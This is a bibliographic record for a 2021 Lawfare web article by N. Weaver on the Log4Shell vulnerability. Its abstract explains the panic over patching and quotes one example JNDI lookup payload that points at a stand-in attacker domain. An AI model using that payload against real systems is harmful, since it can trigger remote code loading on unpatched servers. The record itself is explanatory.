What's the Deal with the Log4Shell Security Nightmare?
| Title | What's the Deal with the Log4Shell Security Nightmare? |
| Publication Type | Web Article |
| Year of Publication | 2021 |
| Authors | Weaver, N. |
| Published in | Lawfare |
| Keywords | cybersecurity |
| Abstract | We live in a strange world. What started out as a Minecraft prank, where a message in chat like ${jndi:ldap://attacker.com/pwnyourserver} would take over either a Minecraft server or client, has now resulted in a 5-alarm security panic as administrators and developers all over the world desperately try to fix and patch systems before the cryptocurrency miners, ransomware attackers and nation-state adversaries rush to exploit thousands of software packages. |
| URL | https://www.lawfareblog.com/whats-deal-log4shell-security-nightmareWhat's the Deal with the Log4Shell Security Nightmare? |